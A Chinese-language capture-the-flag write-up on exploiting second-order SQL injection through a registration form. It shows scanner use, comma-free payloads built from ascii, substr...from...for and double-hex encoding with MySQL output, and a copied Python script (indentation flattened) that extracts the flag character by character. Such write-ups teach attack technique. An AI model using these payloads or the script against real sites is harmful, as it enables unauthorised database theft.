我们使用御剑,扫描一波
我们进入注册页面查看,发现这个,有注册的话猜一下二次注入(这里注入,然后去页面看结果)
我们先拿AWVS试试,
哦~我的上帝,它存在注入
我们试试,burp的fuzz看看他过滤了什么
还是过滤了蛮多的
这些是都没过滤的
既然知道了他是sql注入
那么我们为啥不用sqlmap呢
我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重
我们需要找找合适的tamper
哦~我的上帝,果然不行,看来还得看看师傅们怎么写的
我们推测这里的语句是
insert into tables value('$email','$username','$passwpord');
登录成功后语句:
SELECT * FROM tables WHERE email = ''$email";
他这里注册的时候作了限制,所以联合查询这种方法不能用。
那么尝试在注册时用户名处进行闭合。
用户名处构造group_concat(1,database()),database','1')#
结果返回
nnnnoooo!!!
有过滤,
用户名注册时加个单引号注册失败,双引号注册成功,说明可能为单引号闭合·,
注册一个。
email: [email protected]
username: 1' and '0
password: 123
登陆发现,用户名处回显0
说明存在注入,and运算结果为0.
下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/
与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。
如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
下面看几个例子。
mysql> select '1'+'1a';
+----------+
| '1'+'1a' |
+----------+
| 2 |
+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select '0'+database();
+----------------+
| '0'+database() |
+----------------+
| 0 |
+----------------+
1 row in set (0.00 sec)
可以用截取的方法,截取处每一位,然后ascii编码。
mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
| 100 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select '0'+ascii(substr(database(),2,1));
+-----------------------------------+
| '0'+ascii(substr(database(),2,1)) |
+-----------------------------------+
| 118 |
+-----------------------------------+
1 row in set (0.00 sec)
成功截取,但是逗号被过滤,该咋办。使用from...for...
代替。
mysql> select '0'+ascii(substr(database() from 1 for 1));
+--------------------------------------------+
| '0'+ascii(substr(database() from 1 for 1)) |
+--------------------------------------------+
| 100 |
+--------------------------------------------+
1 row in set (0.00 sec)
mysql> select '0'+ascii(substr((database()) from 2 for 1));
+----------------------------------------------+
| '0'+ascii(substr((database()) from 2 for 1)) |
+----------------------------------------------+
| 118 |
+----------------------------------------------+
1 row in set (0.00 sec)
还有可以使用十六进制转换后运算
有疑问,为啥不用二进制或者八进制。用例子来说明:
mysql> select bin('dvwa');
+-------------+
| bin('dvwa') |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
mysql> select oct('dvwa');
+-------------+
| oct('dvwa') |
+-------------+
| 0 |
+-------------+
1 row in set (0.00 sec)
mysql> select hex('dvwa');
+-------------+
| hex('dvwa') |
+-------------+
| 64767761 |
+-------------+
1 row in set (0.00 sec)
可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。
mysql> select hex('dvwa{}');
+---------------+
| hex('dvwa{}') |
+---------------+
| 647677617B7D |
+---------------+
1 row in set (0.00 sec)
mysql> select hex('dvwa{}')+'0';
+-------------------+
| hex('dvwa{}')+'0' |
+-------------------+
| 647677617 |
+-------------------+
1 row in set (0.00 sec)
所以需要在进行一次十六进制。
mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}')) |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)
mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
| 3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)
又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
这里还可以使用分段读法。
mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';
+----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |
+----------------------------------------------+
| 3634373637 |
+----------------------------------------------+
1 row in set (0.00 sec)
mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |
+-----------------------------------------------+
| 3736313742 |
+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |
+-----------------------------------------------+
| 3744 |
+-----------------------------------------------+
1 row in set (0.00 sec)
mysql> select unhex(unhex(363437363737363137423744));
+----------------------------------------+
| unhex(unhex(363437363737363137423744)) |
+----------------------------------------+
| dvwa{} |
+----------------------------------------+
1 row in set (0.11 sec)
抄大佬的脚本
import requests
import re
register_url = '/register.php'
login_url = '/login.php'
for i in range(1, 100):
register_data = {
'email': '[email protected]%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '[email protected]%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'\s*(\d*)\s*', res_.text)
print(chr(int(code.group(1))), end='')